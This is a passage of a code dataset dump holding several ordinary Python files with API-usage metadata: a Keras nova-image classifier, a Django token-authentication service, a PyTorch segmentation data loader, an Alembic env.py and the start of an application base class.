143, "usage_type": "call"}, {"api_name": "discrete_domain.domain_from_binary_array", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 149, "usage_type": "call"}, {"api_name": "mroi.subdomain_from_balls", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 159, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 159, "usage_type": "call"}, {"api_name": "mroi.select_id", "line_number": 160, "usage_type": "call"}, {"api_name": "mroi.get_id", "line_number": 161, "usage_type": "call"}, {"api_name": "mroi.set_feature", "line_number": 162, "usage_type": "call"}, {"api_name": "mroi.get_feature", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 164, "usage_type": "call"}, {"api_name": "mroi.get_feature", "line_number": 164, "usage_type": "call"}, {"api_name": "mroi.get_size", "line_number": 165, "usage_type": "call"}, {"api_name": "mroi.get_id", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 167, "usage_type": "call"}, {"api_name": "mroi.get_feature", "line_number": 167, "usage_type": "call"}, {"api_name": "mroi.select_id", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 169, "usage_type": "call"}, {"api_name": "mroi.select_id", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 177, "usage_type": "call"}, {"api_name": "mroi.select_id", "line_number": 178, "usage_type": "call"}, {"api_name": "mroi.get_id", "line_number": 179, "usage_type": "call"}, {"api_name": "mroi.set_feature", "line_number": 180, "usage_type": "call"}, {"api_name": "mroi.set_feature", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 182, "usage_type": "call"}, {"api_name": "mroi.get_feature", "line_number": 182, "usage_type": "call"}, {"api_name": "mroi.get_id", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 190, "usage_type": "call"}, {"api_name": "mroi.get_coord", "line_number": 190, "usage_type": "call"}, {"api_name": "mroi.domain", "line_number": 191, "usage_type": "attribute"}, {"api_name": "mroi.select_id", "line_number": 191, "usage_type": "call"}, {"api_name": "nose.run", "line_number": 195, "usage_type": "call"}]} {"seq_id": "418478092", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n# import matplotlib.image as mpimg\n# from mpl_toolkits import mplot3d\nimport tensorflow as tf\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, MaxPooling2D, Flatten, Dropout\nfrom astropy.visualization import astropy_mpl_style\nfrom astropy.utils.data import get_pkg_data_filename\nfrom astropy.io import fits\nfrom collections import OrderedDict\nfrom sklearn.model_selection import train_test_split\n\n\n# import os\n# os.environ[\"PATH\"] += os.pathsep + 'C:\\\\Program Files (x86)\\\\Graphviz2.38\\\\bin\\\\'\n# from PIL import Image\n\n\nboxdim = 250\nnovaeList = dict()\n\n# Match the index to the value in our classification list\n# 0 - n\n# 1 - y\n# 2 - m\nclassValue = [\"n\", \"y\", \"m\"]\n\n\ndef createFitsImage(data, fileName):\n hdu = fits.PrimaryHDU(data=data)\n hdulist = fits.HDUList([hdu])\n hdulist.writeto(fileName)\n\n# Need to normalize our images to for the algorithm\ndef normalizeImage(img):\n # this is where we will normalize our image to values between 0 and 1\n return img/np.linalg.norm(img, ord=2, axis=1, keepdims=True)\n\n\n# adds the\ndef createDatasetList(extracted, event, coordinates):\n extracted.update({coordinates: event})\n\n\ndef readInClassification(fileName):\n classified = {}\n with open(fileName) as f:\n for line in f:\n (key, val) = line.split('\\t\\t')\n if val == str(\"y\\n\"):\n classified[key] = 1\n elif val == str(\"n\\n\"):\n classified[key] = 0\n else: # maybe case\n classified[key] = 2\n f.close()\n return dict(OrderedDict(sorted(classified.items(), key=lambda t: t[0])))\n\n\ndef createList(classifyDict, eventDict):\n classify = list()\n events = list()\n for key in classifyDict:\n classify.append(classifyDict[key])\n events.append(eventDict[key])\n events, classify = reshapeList(events, classify)\n return classify, events\n\n\ndef reshapeList(event, classify):\n classify = np.reshape(classify, (len(classify),))\n event = np.reshape(event, (len(classify), 250, 250, 1))\n return event, classify\n\n\ndef plotImg(name, x_offset, y_offset, novae):\n coordinate = (str(y_offset) + \"-\" + str(5999 - x_offset))\n plt.style.use(astropy_mpl_style)\n imgData = get_pkg_data_filename(name)\n img = fits.getdata(imgData)\n event = np.ones((boxdim, boxdim), dtype=float)\n for i in range(0, boxdim):\n for f in range(0, boxdim):\n event[i][f] = img[5999 - (i+x_offset)][f + y_offset]\n # createFitsImage(event, str(y_offset) + \"-\" + str(5999 - x_offset) + \".fits\")\n # event = normalizeImage(event)\n createDatasetList(novae, event, coordinate)\n\n\ndef createModel():\n model = Sequential()\n # input layer\n model.add(Conv2D(32, (3, 3), activation='relu', input_shape=(250, 250, 1)))\n model.add(MaxPooling2D((2, 2)))\n # hidden\n model.add(Flatten())\n # output layer\n model.add(Dense(100, activation='relu'))\n model.add(Dense(3, activation='softmax'))\n model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'])\n return model\n\n# Testing the code\n\n\nclassifyDict = readInClassification('out.txt') # read our classified list\n\n# extract the data\nfor g in range(0, int((6000/boxdim))):\n for f in range(0, int((6000/boxdim))):\n plotImg('test1.fits', g * boxdim, f * boxdim, novaeList)\n\n# Order the list in the same manner as the classification labels\neventDict = dict(OrderedDict(sorted(novaeList.items(), key=lambda t: t[0])))\n# convert the dictionary to lists to split for testing\nclassifyList, eventList = createList(classifyDict, eventDict)\n\nxTrain, xTest, yTrain, yTest = train_test_split(eventList, classifyList, test_size=0.2, random_state=42)\n\n# Create a neural network model for training\nmodel = createModel()\nhistory = model.fit(xTrain, yTrain, epochs=10)\nloss, accuracy = model.evaluate(xTest, yTest)\n\nprint(accuracy)\n\n\n\n\n\n\n\n", "sub_path": "novaNeuralNetwork.py", "file_name": "novaNeuralNetwork.py", "file_ext": "py", "file_size_in_byte": 3948, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "astropy.io.fits.PrimaryHDU", "line_number": 31, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 31, "usage_type": "name"}, {"api_name": "astropy.io.fits.HDUList", "line_number": 32, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 32, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 38, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 79, "usage_type": "call"}, {"api_name": "astropy.visualization.astropy_mpl_style", "line_number": 79, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.style", "line_number": 79, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "astropy.utils.data.get_pkg_data_filename", "line_number": 80, "usage_type": "call"}, {"api_name": "astropy.io.fits.getdata", "line_number": 81, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 81, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 92, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 94, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 95, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 97, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 99, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 100, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 115, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 119, "usage_type": "call"}]} {"seq_id": "124676002", "text": "from django.utils import timezone\nfrom media_management_api.media_service.models import UserProfile, Course, CourseUser\nfrom .models import Application, Token\nfrom .exceptions import InvalidApplicationError, InvalidTokenError\n\nimport datetime\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n# Expiration time for tokens. Dictionary keys are intended\n# to match the arguments accepted by datetime.timedelta():\n# https://docs.python.org/2/library/datetime.html#datetime.timedelta\nTOKEN_EXPIRE = {\"hours\": 240}\n\n# Token refresh time used when obtaining recent tokens to ensure that the token is good for _at least_ 24 hours\nTOKEN_REFRESH = {\"hours\": 240 - 24}\n\ndef obtain_token(data):\n # Check that the required data are present\n required_data = ('client_id', 'client_secret', 'user_id')\n if not all([k in data for k in required_data]):\n raise InvalidApplicationError(\"Missing required data. Must include: %s\" % \", \".join(required_data))\n\n # Validate the application\n application = None\n if is_valid_application(client_id=data['client_id'], client_secret=data['client_secret'], raise_exception=True):\n application = Application.objects.get(client_id=data['client_id'], client_secret=data['client_secret'])\n\n # Get or create a user profile\n if not data['user_id']:\n raise InvalidTokenError(\"Invalid user_id - must not be empty\")\n user = get_or_create_user(data['user_id'])\n\n # Add the user to the specified course (this information is not saved in the token)\n course_id = data.get(\"course_id\", None)\n course_permission = None\n if course_id:\n course_permission = data.get('course_permission', 'read')\n course_user = add_user_to_course(user=user, course_id=data['course_id'], is_admin=course_permission == 'write')\n\n # Try to reuse the most recent token for the user if it's still valid, otherwise\n # create a new token.\n token_attrs = {\n \"user_profile\": user.profile,\n \"application\": application,\n }\n recent_tokens = Token.objects.filter(**token_attrs).order_by('-created')[0:1]\n if len(recent_tokens) == 0 or is_token_expired(recent_tokens[0]) or is_token_refreshable(recent_tokens[0]):\n token = Token(**token_attrs)\n token.save()\n else:\n token = recent_tokens[0]\n\n # Return the token info\n token_expiration = get_token_expiration(token)\n token_response = {\n \"user_id\": data[\"user_id\"],\n \"access_token\": token.key,\n \"expires\": token_expiration.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"course_id\": course_id,\n \"course_permission\": course_permission\n }\n logger.debug(\"Obtained token: %s\" % token_response)\n return token_response\n\ndef get_token(access_token):\n return Token.objects.get(key=access_token)\n\ndef get_token_expiration(token):\n return token.created + datetime.timedelta(**TOKEN_EXPIRE)\n\ndef get_token_refresh(token):\n return token.created + datetime.timedelta(**TOKEN_REFRESH)\n\ndef get_or_create_user(user_id):\n user_profile = UserProfile.get_or_create_profile(user_id)\n return user_profile.user\n\ndef add_user_to_course(user=None, course_id=None, is_admin=False):\n try:\n course_user = CourseUser.add_user_to_course(user=user, course_id=course_id, is_admin=is_admin)\n except Course.DoesNotExist:\n raise InvalidTokenError(\"Course '%s' not found\" % course_id)\n return course_user\n\ndef get_access_token_from_request(request):\n authorization = request.META.get('HTTP_AUTHORIZATION', '')\n access_token = None\n if authorization.lower().startswith(\"token \"):\n access_token = authorization.split(\" \", 2)[1]\n return access_token\n\ndef assert_token_valid(token):\n return is_token_valid(token, raise_exception=True)\n\ndef is_token_valid(token, raise_exception=False):\n return not is_token_expired(token, raise_exception=raise_exception)\n\ndef is_token_expired(token, raise_exception=False):\n if not isinstance(token, Token):\n try:\n token = Token.objects.get(key=token)\n except Token.DoesNotExist:\n if raise_exception:\n raise InvalidTokenError(\"Invalid token\")\n return True\n\n now = timezone.now()\n expiration = get_token_expiration(token)\n if now > expiration:\n if raise_exception:\n logger.debug(\"Token %s expired at %s\" % (token.pk, expiration))\n raise InvalidTokenError(\"Token has expired\")\n return True\n return False\n\ndef is_token_refreshable(token):\n now = timezone.now()\n refresh = get_token_refresh(token)\n return now > refresh\n\ndef is_valid_application(client_id=None, client_secret=None, raise_exception=False):\n try:\n application = Application.objects.get(client_id=client_id, client_secret=client_secret)\n except Application.DoesNotExist:\n if raise_exception:\n raise InvalidApplicationError(\"Invalid application.\")\n return False\n return True\n\n\ndef destroy_token(access_token):\n try:\n Token.objects.get(key=access_token).delete()\n except:\n return True\n return True\n", "sub_path": "media_management_api/media_auth/services.py", "file_name": "services.py", "file_ext": "py", "file_size_in_byte": 5099, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "exceptions.InvalidApplicationError", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Application.objects.get", "line_number": 28, "usage_type": "call"}, {"api_name": "models.Application.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "models.Application", "line_number": 28, "usage_type": "name"}, {"api_name": "exceptions.InvalidTokenError", "line_number": 32, "usage_type": "call"}, {"api_name": "models.Token.objects.filter", "line_number": 48, "usage_type": "call"}, {"api_name": "models.Token.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "models.Token", "line_number": 48, "usage_type": "name"}, {"api_name": "models.Token", "line_number": 50, "usage_type": "call"}, {"api_name": "models.Token.objects.get", "line_number": 68, "usage_type": "call"}, {"api_name": "models.Token.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "models.Token", "line_number": 68, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 74, "usage_type": "call"}, {"api_name": "media_management_api.media_service.models.UserProfile.get_or_create_profile", "line_number": 77, "usage_type": "call"}, {"api_name": "media_management_api.media_service.models.UserProfile", "line_number": 77, "usage_type": "name"}, {"api_name": "media_management_api.media_service.models.CourseUser.add_user_to_course", "line_number": 82, "usage_type": "call"}, {"api_name": "media_management_api.media_service.models.CourseUser", "line_number": 82, "usage_type": "name"}, {"api_name": "media_management_api.media_service.models.Course.DoesNotExist", "line_number": 83, "usage_type": "attribute"}, {"api_name": "media_management_api.media_service.models.Course", "line_number": 83, "usage_type": "name"}, {"api_name": "exceptions.InvalidTokenError", "line_number": 84, "usage_type": "call"}, {"api_name": "models.Token", "line_number": 101, "usage_type": "argument"}, {"api_name": "models.Token.objects.get", "line_number": 103, "usage_type": "call"}, {"api_name": "models.Token.objects", "line_number": 103, "usage_type": "attribute"}, {"api_name": "models.Token", "line_number": 103, "usage_type": "name"}, {"api_name": "models.Token.DoesNotExist", "line_number": 104, "usage_type": "attribute"}, {"api_name": "models.Token", "line_number": 104, "usage_type": "name"}, {"api_name": "exceptions.InvalidTokenError", "line_number": 106, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 109, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 109, "usage_type": "name"}, {"api_name": "exceptions.InvalidTokenError", "line_number": 114, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 119, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 119, "usage_type": "name"}, {"api_name": "models.Application.objects.get", "line_number": 125, "usage_type": "call"}, {"api_name": "models.Application.objects", "line_number": 125, "usage_type": "attribute"}, {"api_name": "models.Application", "line_number": 125, "usage_type": "name"}, {"api_name": "models.Application.DoesNotExist", "line_number": 126, "usage_type": "attribute"}, {"api_name": "models.Application", "line_number": 126, "usage_type": "name"}, {"api_name": "exceptions.InvalidApplicationError", "line_number": 128, "usage_type": "call"}, {"api_name": "models.Token.objects.get", "line_number": 135, "usage_type": "call"}, {"api_name": "models.Token.objects", "line_number": 135, "usage_type": "attribute"}, {"api_name": "models.Token", "line_number": 135, "usage_type": "name"}]} {"seq_id": "375010466", "text": "from os.path import splitext\nfrom os import listdir\nimport numpy as np\nfrom glob import glob\nimport torch\nfrom torch.utils.data import Dataset\nimport logging\nfrom skimage.transform import resize, rotate\nfrom skimage.filters import gaussian\nfrom skimage import io\nimport Augmentor\nimport cv2\n\n\nclass BasicDataset(Dataset):\n \"\"\"\n imgs dir : 이미지 디렉토리 경로(path of image directory)\n masks_dir : 이미지에 대한 mask 디렉토리 경로(path of directory masks correspond to image )\n resize : 입력 이미지 크기 조절 사이즈(Unet paper based, 572)\n \"\"\"\n def __init__(self, imgs_dir, masks_dir, resizing=572, is_transform=True, shuffle=True):\n self.imgs_dir = imgs_dir\n self.masks_dir = masks_dir\n self.resizing = resizing\n self.is_transform = is_transform\n self.shuffle=shuffle\n\n self.image_name_list = [splitext(file)[0] for file in listdir(imgs_dir) #이미지 파일 가져오고, 그중에서 이름만 가져오기 (img.jpg => extract img except for .jpg)\n if not file.startswith('.')] # 폴더안에 존재하는 이미지들의 이름들의 리스트 (list of image names)\n logging.info(f'Creating dataset with {len(self.image_name_list)} examples') # 로그 기록\n \n \"\"\"\n self.ids : 총 데이터셋의 크기를 나타낸다.(Size of total dataset)\n \"\"\"\n def __len__(self):\n return len(self.image_name_list)\n\n \"\"\"\n idx : range(0, len(self.ids)) 의 원소 중 하나. 0부터 차례대로 들어온다. \n (one of element in range(0, len(self.ids))). input numbers in sequence.\n \"\"\"\n \n def __getitem__(self, idx):\n \n image_name = self.image_name_list[idx]\n #glob(searching criteria) : find files that meet searching criteria, output type : list.\n #glob(탐색 기준식) : 탐색 기준식을 만족하는 파일을 찾아, 그 항목들을 리스트로 반환.\n mask_file = glob(self.masks_dir + image_name + '.*') # (in the case of 'image name == mask name')\n img_file = glob(self.imgs_dir + image_name + '.*') #(in the case of 'image name == mask name')\n\n assert len(mask_file) == 1, \\\n f'Either no mask or multiple masks found for the ID {image_name}: {mask_file}'\n assert len(img_file) == 1, \\\n f'Either no image or multiple images found for the ID {image_name}: {img_file}'\n \n # print(\"img name : {}\".format(img_file[0]))\n img = io.imread(img_file[0])\n mask_for_notf = io.imread(mask_file[0])\n mask = cv2.imread(mask_file[0]) # for augmenting, gray image: cv2.imread=(width, height, 3) , io.imread=(width, height)\n\n\n assert img.shape == mask.shape, \\\n f'Image and mask {image_name} should be the same size, but are {img.size} and {mask.size}'\n\n if self.is_transform == False:\n img = self.preprocess(img, self.resizing)\n mask = self.preprocess(mask_for_notf, self.resizing)\n data = {'image': torch.from_numpy(img), 'mask': torch.from_numpy(mask)}\n else:\n if np.random.uniform(size=1)[0] >= 0.7:\n sigma = np.random.uniform(0.1,1,size=1)[0]\n img = (gaussian(img, sigma=sigma, multichannel=True)*255).astype(np.uint8)\n\n p = Augmentor.DataPipeline([[img, mask]])\n p.resize(probability=1.0, width=256, height=256)\n p.rotate_without_crop(probability=0.3, max_left_rotation=25, max_right_rotation=25)\n p.shear(probability=0.3, max_shear_left=0.5, max_shear_right=0.5)\n p.flip_random(probability=0.6)\n# p.skew_tilt(probability=0.3, magnitude=0.1)\n# p.random_distortion(probability=0.3, grid_height=10, grid_width=10, magnitude=1)\n# p.zoom(probability=1.0, min_factor=1.1, max_factor=1.3)\n\n sample_p = p.sample(1)\n sample_p = np.array(sample_p).squeeze()\n\n p_img = sample_p[0]\n p_mask = sample_p[1]\n augmented_mask = (p_mask//255)*255 #np.where(p_mask<=0, p_mask, 255)\n\n q = Augmentor.DataPipeline([[p_img]])\n q.random_contrast(probability=0.3, min_factor=0.2, max_factor=1.0) # low to High\n q.random_brightness(probability=0.3, min_factor=0.2, max_factor=1.0) # dark to bright\n\n sample_q = q.sample(1)\n sample_q = np.array(sample_q).squeeze()\n\n augmented_img = sample_q\n augmented_mask = augmented_mask[::,::,0]\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT,(3,3))\n augmented_mask = cv2.morphologyEx(augmented_mask, cv2.MORPH_CLOSE, kernel) \n\n result_img= self.preprocess_wo_resize(augmented_img)\n result_mask = self.preprocess_wo_resize(augmented_mask)\n \n \n data = {'image': torch.from_numpy(result_img), 'mask': torch.from_numpy(result_mask)}\n return data\n\n @classmethod\n def preprocess(cls, img, resizing):\n img = resize(img, (resizing, resizing), anti_aliasing=True) # skimage.transform.resize\n\n img_nd = np.array(img)\n\n if len(img_nd.shape) == 2:\n img_nd = np.expand_dims(img_nd, axis=2)\n\n # HWC to CHW\n # numpy image: H x W x C\n # torch image: C X H X W\n img_trans = img_nd.transpose((2, 0, 1))\n if img_trans.max() > 1:\n img_trans = img_trans / 255\n\n return img_trans\n\n @classmethod\n def preprocess_wo_resize(cls, img):\n img_nd = np.array(img)\n\n if len(img_nd.shape) == 2:\n img_nd = np.expand_dims(img_nd, axis=0) #(H, W) -> (H, W)\n return img_nd\n\n # HWC to CHW\n # numpy image: H x W x C\n # torch image: C X H X W\n img_trans = img_nd.transpose((2, 0, 1))\n if img_trans.max() > 1:\n img_trans = img_trans / 255\n\n return img_trans", "sub_path": "Pytorch_2/utils/dataset.py", "file_name": "dataset.py", "file_ext": "py", "file_size_in_byte": 5910, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 28, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 28, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 30, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 48, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 49, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 57, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 57, "usage_type": "name"}, {"api_name": "skimage.io.imread", "line_number": 58, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 58, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 71, "usage_type": "attribute"}, {"api_name": "skimage.filters.gaussian", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 72, "usage_type": "attribute"}, {"api_name": "Augmentor.DataPipeline", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "Augmentor.DataPipeline", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.getStructuringElement", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 99, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 106, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 132, "usage_type": "call"}]} {"seq_id": "620238577", "text": "#!/usr/bin/env python\n# whisker_serial_order/alembic/env.py\n\n\"\"\"\n===============================================================================\n\n Copyright © 2016-2018 Rudolf Cardinal (rudolf@pobox.com).\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n===============================================================================\n\"\"\"\n\nimport logging\nfrom cardinal_pythonlib.logs import configure_logger_for_colour\nfrom alembic import context\nfrom sqlalchemy import engine_from_config, pool\n\nfrom whisker_serial_order.models import Base\nfrom whisker_serial_order.settings import dbsettings\n\nlog = logging.getLogger(__name__)\n\n\ndef run_migrations_offline():\n \"\"\"Run migrations in 'offline' mode.\n\n This configures the context with just a URL\n and not an Engine, though an Engine is acceptable\n here as well. By skipping the Engine creation\n we don't even need a DBAPI to be available.\n\n Calls to context.execute() here emit the given string to the\n script output.\n\n \"\"\"\n # http://alembic.readthedocs.org/en/latest/cookbook.html\n # noinspection PyUnusedLocal\n def process_revision_directives(context_, revision, directives):\n if config.cmd_opts.autogenerate:\n script = directives[0]\n if script.upgrade_ops.is_empty():\n directives[:] = []\n\n url = config.get_main_option(\"sqlalchemy.url\")\n # RNC\n context.configure(\n url=url,\n target_metadata=target_metadata,\n render_as_batch=True, # for SQLite mode; http://stackoverflow.com/questions/30378233 # noqa\n literal_binds=True,\n compare_type=True,\n process_revision_directives=process_revision_directives,\n )\n with context.begin_transaction():\n context.run_migrations()\n\n\ndef run_migrations_online():\n \"\"\"Run migrations in 'online' mode.\n\n In this scenario we need to create an Engine\n and associate a connection with the context.\n\n \"\"\"\n connectable = engine_from_config(\n config.get_section(config.config_ini_section),\n prefix='sqlalchemy.',\n poolclass=pool.NullPool)\n\n # http://alembic.readthedocs.org/en/latest/cookbook.html\n # noinspection PyUnusedLocal\n def process_revision_directives(context_, revision, directives):\n if config.cmd_opts.autogenerate:\n script = directives[0]\n if script.upgrade_ops.is_empty():\n directives[:] = []\n\n with connectable.connect() as connection:\n # RNC\n context.configure(\n connection=connection,\n target_metadata=target_metadata,\n render_as_batch=True, # for SQLite mode; http://stackoverflow.com/questions/30378233 # noqa\n compare_type=True,\n process_revision_directives=process_revision_directives,\n )\n with context.begin_transaction():\n context.run_migrations()\n\n\nrootlogger = logging.getLogger()\nrootlogger.setLevel(logging.DEBUG)\nconfigure_logger_for_colour(rootlogger)\n\nlog.debug(dbsettings)\nif not dbsettings.get('url'):\n raise ValueError(\"Database URL not specified\")\n\nconfig = context.config\ntarget_metadata = Base.metadata\nconfig.set_main_option('sqlalchemy.url', dbsettings['url'])\n\nif context.is_offline_mode():\n run_migrations_offline()\nelse:\n run_migrations_online()\n", "sub_path": "whisker_serial_order/alembic/env.py", "file_name": "env.py", "file_ext": "py", "file_size_in_byte": 3820, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 32, "usage_type": "call"}, {"api_name": "alembic.context.configure", "line_number": 57, "usage_type": "call"}, {"api_name": "alembic.context", "line_number": 57, "usage_type": "name"}, {"api_name": "alembic.context.begin_transaction", "line_number": 65, "usage_type": "call"}, {"api_name": "alembic.context", "line_number": 65, "usage_type": "name"}, {"api_name": "alembic.context.run_migrations", "line_number": 66, "usage_type": "call"}, {"api_name": "alembic.context", "line_number": 66, "usage_type": "name"}, {"api_name": "sqlalchemy.engine_from_config", "line_number": 76, "usage_type": "call"}, {"api_name": "sqlalchemy.pool.NullPool", "line_number": 79, "usage_type": "attribute"}, {"api_name": "sqlalchemy.pool", "line_number": 79, "usage_type": "name"}, {"api_name": "alembic.context.configure", "line_number": 91, "usage_type": "call"}, {"api_name": "alembic.context", "line_number": 91, "usage_type": "name"}, {"api_name": "alembic.context.begin_transaction", "line_number": 98, "usage_type": "call"}, {"api_name": "alembic.context", "line_number": 98, "usage_type": "name"}, {"api_name": "alembic.context.run_migrations", "line_number": 99, "usage_type": "call"}, {"api_name": "alembic.context", "line_number": 99, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 102, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 103, "usage_type": "attribute"}, {"api_name": "cardinal_pythonlib.logs.configure_logger_for_colour", "line_number": 104, "usage_type": "call"}, {"api_name": "whisker_serial_order.settings.dbsettings", "line_number": 106, "usage_type": "argument"}, {"api_name": "whisker_serial_order.settings.dbsettings.get", "line_number": 107, "usage_type": "call"}, {"api_name": "whisker_serial_order.settings.dbsettings", "line_number": 107, "usage_type": "name"}, {"api_name": "alembic.context.config", "line_number": 110, "usage_type": "attribute"}, {"api_name": "alembic.context", "line_number": 110, "usage_type": "name"}, {"api_name": "whisker_serial_order.models.Base.metadata", "line_number": 111, "usage_type": "attribute"}, {"api_name": "whisker_serial_order.models.Base", "line_number": 111, "usage_type": "name"}, {"api_name": "whisker_serial_order.settings.dbsettings", "line_number": 112, "usage_type": "name"}, {"api_name": "alembic.context.is_offline_mode", "line_number": 114, "usage_type": "call"}, {"api_name": "alembic.context", "line_number": 114, "usage_type": "name"}]} {"seq_id": "379710444", "text": "# Copyright 2015 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport argparse\nimport datetime\nimport logging\nimport os\nimport sys\n\nimport psutil\n\nfrom infra_libs import logs\nfrom infra_libs import ts_mon\n\n\nclass BaseApplication(object):\n \"\"\"Encapsulates common boilerplate for setting up an application.\n\n Subclasses must implement the main() method, and will usually also implement\n add_argparse_options().\n\n By default this will initialise logging and timeseries monitoring (ts_mon)\n modules.\n\n Minimal example::\n\n from infra_libs import app\n\n class MyApplication(app.BaseApplication):\n def main(self, opts):\n # Do stuff.\n\n if __name__ == '__main__':\n MyApplication().run()\n\n Class variables (override these in your class definition):\n PROG_NAME: The program name to display in the --help message. Defaults to\n sys.argv[0]. Passed to argparse.ArgumentParser.\n DESCRIPTION: Text to display in the --help message. Passed to\n argparse.ArgumentParser.\n USES_STANDARD_LOGGING: Whether to configure the standard logging libraries.\n Defaults to True.\n USES_TS_MON: Whether to configure timeseries monitoring. Defaults to 